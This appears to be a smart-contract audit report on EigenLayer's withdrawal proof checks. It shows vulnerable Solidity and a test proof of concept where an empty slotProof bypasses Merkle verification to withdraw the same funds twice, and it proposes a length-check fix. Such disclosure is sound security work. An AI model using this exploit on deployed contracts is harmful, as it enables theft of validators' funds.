Detailed description of the impact of this finding.
"verifyAndProcessWithdrawal" can be abused to steal from every validator at least once.
Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Whevener user call verifyAndProcessWithdrawal there is a verification that proofs are valid
function verifyAndProcessWithdrawal(
BeaconChainProofs.WithdrawalProofs calldata withdrawalProofs,
bytes calldata validatorFieldsProof,
bytes32[] calldata validatorFields,
bytes32[] calldata withdrawalFields,
uint256 beaconChainETHStrategyIndex,
uint64 oracleBlockNumber
)
external
onlyWhenNotPaused(PAUSED_EIGENPODS_VERIFY_WITHDRAWAL)
onlyNotFrozen
/**
* Check that the provided block number being proven against is after the `mostRecentWithdrawalBlockNumber`.
* Without this check, there is an edge case where a user proves a past withdrawal for a validator whose funds they already withdrew,
* as a way to "withdraw the same funds twice" without providing adequate proof.
* Note that this check is not made using the oracleBlockNumber as in the `verifyWithdrawalCredentials` proof; instead this proof
* proof is made for the block number of the withdrawal, which may be within 8192 slots of the oracleBlockNumber.
* This difference in modifier usage is OK, since it is still not possible to `verifyAndProcessWithdrawal` against a slot that occurred
* *prior* to the proof provided in the `verifyWithdrawalCredentials` function.
*/
proofIsForValidBlockNumber(Endian.fromLittleEndianUint64(withdrawalProofs.blockNumberRoot))
{
...
BeaconChainProofs.verifyWithdrawalProofs(beaconStateRoot, withdrawalProofs, withdrawalFields);
...
Inside function verifyWithdrawalProofs there are not validation that slotProof is at least 32 length and slotProof % 32 ==0 like all the other proofs in this function.
function verifyWithdrawalProofs(
bytes32 beaconStateRoot,
WithdrawalProofs calldata proofs,
bytes32[] calldata withdrawalFields
) internal view {
require(withdrawalFields.length == 2**WITHDRAWAL_FIELD_TREE_HEIGHT, "BeaconChainProofs.verifyWithdrawalProofs: withdrawalFields has incorrect length");
require(proofs.blockHeaderRootIndex < 2**BLOCK_ROOTS_TREE_HEIGHT, "BeaconChainProofs.verifyWithdrawalProofs: blockRootIndex is too large");
require(proofs.withdrawalIndex < 2**WITHDRAWALS_TREE_HEIGHT, "BeaconChainProofs.verifyWithdrawalProofs: withdrawalIndex is too large");
// verify the block header proof length
require(proofs.blockHeaderProof.length == 32 * (BEACON_STATE_FIELD_TREE_HEIGHT + BLOCK_ROOTS_TREE_HEIGHT),
"BeaconChainProofs.verifyWithdrawalProofs: blockHeaderProof has incorrect length");
require(proofs.withdrawalProof.length == 32 * (EXECUTION_PAYLOAD_HEADER_FIELD_TREE_HEIGHT + WITHDRAWALS_TREE_HEIGHT + 1),
"BeaconChainProofs.verifyWithdrawalProofs: withdrawalProof has incorrect length");
require(proofs.executionPayloadProof.length == 32 * (BEACON_BLOCK_HEADER_FIELD_TREE_HEIGHT + BEACON_BLOCK_BODY_FIELD_TREE_HEIGHT),
"BeaconChainProofs.verifyWithdrawalProofs: executionPayloadProof has incorrect length");
/**
* Computes the block_header_index relative to the beaconStateRoot. It concatenates the indexes of all the
* intermediate root indexes from the bottom of the sub trees (the block header container) to the top of the tree
*/
uint256 blockHeaderIndex = BLOCK_ROOTS_INDEX << (BLOCK_ROOTS_TREE_HEIGHT) | uint256(proofs.blockHeaderRootIndex);
// Verify the blockHeaderRoot against the beaconStateRoot
require(Merkle.verifyInclusionSha256(proofs.blockHeaderProof, beaconStateRoot, proofs.blockHeaderRoot, blockHeaderIndex),
"BeaconChainProofs.verifyWithdrawalProofs: Invalid block header merkle proof");
//Next we verify the slot against the blockHeaderRoot
require(Merkle.verifyInclusionSha256(proofs.slotProof, proofs.blockHeaderRoot, proofs.slotRoot, SLOT_INDEX), "BeaconChainProofs.verifyWithdrawalProofs: Invalid slot merkle proof");
// Next we verify the executionPayloadRoot against the blockHeaderRoot
uint256 executionPayloadIndex = BODY_ROOT_INDEX << (BEACON_BLOCK_BODY_FIELD_TREE_HEIGHT)| EXECUTION_PAYLOAD_INDEX ;
require(Merkle.verifyInclusionSha256(proofs.executionPayloadProof, proofs.blockHeaderRoot, proofs.executionPayloadRoot, executionPayloadIndex),
"BeaconChainProofs.verifyWithdrawalProofs: Invalid executionPayload merkle proof");
// Next we verify the blockNumberRoot against the executionPayload root
require(Merkle.verifyInclusionSha256(proofs.blockNumberProof, proofs.executionPayloadRoot, proofs.blockNumberRoot, BLOCK_NUMBER_INDEX),
"BeaconChainProofs.verifyWithdrawalProofs: Invalid blockNumber merkle proof");
/**
* Next we verify the withdrawal fields against the blockHeaderRoot:
* First we compute the withdrawal_index relative to the blockHeaderRoot by concatenating the indexes of all the
* intermediate root indexes from the bottom of the sub trees (the withdrawal container) to the top, the blockHeaderRoot.
* Then we calculate merkleize the withdrawalFields container to calculate the the withdrawalRoot.
* Finally we verify the withdrawalRoot against the executionPayloadRoot.
*/
uint256 withdrawalIndex = WITHDRAWALS_INDEX << (WITHDRAWALS_TREE_HEIGHT + 1) | uint256(proofs.withdrawalIndex);
bytes32 withdrawalRoot = Merkle.merkleizeSha256(withdrawalFields);
require(Merkle.verifyInclusionSha256(proofs.withdrawalProof, proofs.executionPayloadRoot, withdrawalRoot, withdrawalIndex),
"BeaconChainProofs.verifyWithdrawalProofs: Invalid withdrawal merkle proof");
}
Therefore its possible to set slotProof to any string below 32 length and there will be no Sha256 validation inside Merkle.sol file due to proof.length <32 and loop start with 32
function processInclusionProofSha256(bytes memory proof, bytes32 leaf, uint256 index) internal view returns (bytes32) {
bytes32[1] memory computedHash = [leaf];
for (uint256 i = 32; i <= proof.length; i+=32) {
if(index % 2 == 0) {
// if ith bit of index is 0, then computedHash is a left sibling
assembly {
mstore(0x00, mload(computedHash))
mstore(0x20, mload(add(proof, i)))
if iszero(staticcall(sub(gas(), 2000), 2, 0x00, 0x40, computedHash, 0x20)) {revert(0, 0)}
index := div(index, 2)
}
} else {
// if ith bit of index is 1, then computedHash is a right sibling
assembly {
mstore(0x00, mload(add(proof, i)))
mstore(0x20, mload(computedHash))
if iszero(staticcall(sub(gas(), 2000), 2, 0x00, 0x40, computedHash, 0x20)) {revert(0, 0)}
index := div(index, 2)
}
}
}
return computedHash[0];
}
What we need to do in exploit is set slotRoot to blockHeaderRoot to get a bonus eth. There maybe other ways how to get a reward from more than 1 slot per each validator but I`ve not figured it out.
Tools Used
POC:
function testPartialWithdrawalFlow() public returns(IEigenPod){
//this call is to ensure that validator 61068 has proven their withdrawalcreds
setJSON("./src/test/test-data/withdrawalCredentialAndBalanceProof_61068.json");
_testDeployAndVerifyNewEigenPod(podOwner, signature, depositDataRoot);
IEigenPod newPod = eigenPodManager.getPod(podOwner);
//generate partialWithdrawalProofs.json with:
// ./solidityProofGen "WithdrawalFieldsProof" 61068 656 "data/slot_58000/oracle_capella_beacon_state_58100.ssz" "data/slot_58000/capella_block_header_58000.json" "data/slot_58000/capella_block_58000.json" "partialWithdrawalProof.json"
setJSON("./src/test/test-data/partialWithdrawalProof.json");
BeaconChainProofs.WithdrawalProofs memory withdrawalProofs = _getWithdrawalProof();
bytes memory validatorFieldsProof = abi.encodePacked(getValidatorProof());
withdrawalFields = getWithdrawalFields();
validatorFields = getValidatorFields();
bytes32 newBeaconStateRoot = getBeaconStateRoot();
BeaconChainOracleMock(address(beaconChainOracle)).setBeaconChainStateRoot(newBeaconStateRoot);
uint64 withdrawalAmountGwei = Endian.fromLittleEndianUint64(withdrawalFields[BeaconChainProofs.WITHDRAWAL_VALIDATOR_AMOUNT_INDEX]);
uint64 slot = Endian.fromLittleEndianUint64(withdrawalProofs.slotRoot);
cheats.deal(address(newPod), stakeAmount);
uint256 delayedWithdrawalRouterContractBalanceBefore = address(delayedWithdrawalRouter).balance;
newPod.verifyAndProcessWithdrawal(withdrawalProofs, validatorFieldsProof, validatorFields, withdrawalFields, 0, 0);
// ------------start POC----------
withdrawalProofs.slotRoot = withdrawalProofs.blockHeaderRoot; // slotRoot should be the same as blockHeaderRoot
withdrawalProofs.slotProof = ""; // any length below 32 so loop will be bypassed
newPod.verifyAndProcessWithdrawal(withdrawalProofs, validatorFieldsProof, validatorFields, withdrawalFields, 0, 0);
// ------------end POC----------
uint40 validatorIndex = uint40(getValidatorIndex());
require(newPod.provenPartialWithdrawal(validatorIndex, slot), "provenPartialWithdrawal should be true");
withdrawalAmountGwei = uint64(withdrawalAmountGwei*GWEI_TO_WEI);
require(address(delayedWithdrawalRouter).balance - delayedWithdrawalRouterContractBalanceBefore == withdrawalAmountGwei * 2,
"pod delayed withdrawal balance hasn't been updated correctly"); // double withdraw
cheats.roll(block.number + PARTIAL_WITHDRAWAL_FRAUD_PROOF_PERIOD_BLOCKS + 1);
uint podOwnerBalanceBefore = address(podOwner).balance;
delayedWithdrawalRouter.claimDelayedWithdrawals(podOwner, 1);
require(address(podOwner).balance - podOwnerBalanceBefore == withdrawalAmountGwei, "Pod owner balance hasn't been updated correctly");
return newPod;
}
Recommended Mitigation Steps
I think its important to add these require inside merkle for security
function processInclusionProofSha256(bytes memory proof, bytes32 leaf, uint256 index) internal view returns (bytes32) {
bytes32[1] memory computedHash = [leaf];
+ require(proof.length % 32 == 0 && proof.length > 0, "Invalid proof length");
for (uint256 i = 32; i <= proof.length; i+=32) {
if(index % 2 == 0) {
// if ith bit of index is 0, then computedHash is a left sibling
assembly {
mstore(0x00, mload(computedHash))
mstore(0x20, mload(add(proof, i)))
if iszero(staticcall(sub(gas(), 2000), 2, 0x00, 0x40, computedHash, 0x20)) {revert(0, 0)}
index := div(index, 2)
}
} else {
// if ith bit of index is 1, then computedHash is a right sibling
assembly {
mstore(0x00, mload(add(proof, i)))
mstore(0x20, mload(computedHash))
if iszero(staticcall(sub(gas(), 2000), 2, 0x00, 0x40, computedHash, 0x20)) {revert(0, 0)}
index := div(index, 2)
}
}
}
return computedHash[0];
}
Lines of code
https://github.com/code-423n4/2023-04-eigenlayer/blob/398cc428541b91948f717482ec973583c9e76232/src/contracts/libraries/BeaconChainProofs.sol#L273
Vulnerability details
Impact
Detailed description of the impact of this finding. "verifyAndProcessWithdrawal" can be abused to steal from every validator at least once.
Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. Whevener user call
verifyAndProcessWithdrawal
there is a verification that proofs are validInside function
verifyWithdrawalProofs
there are not validation thatslotProof
is at least 32 length andslotProof % 32 ==0
like all the other proofs in this function.contracts/libraries/BeaconChainProofs.sol#L245
Therefore its possible to set
slotProof
to any string below 32 length and there will be no Sha256 validation insideMerkle.sol
file due toproof.length
<32 and loop start with 32src/contracts/libraries/Merkle.sol#L99
What we need to do in exploit is set
slotRoot
toblockHeaderRoot
to get a bonus eth. There maybe other ways how to get a reward from more than 1 slot per each validator but I`ve not figured it out.Tools Used
POC:
Recommended Mitigation Steps
I think its important to add these require inside merkle for security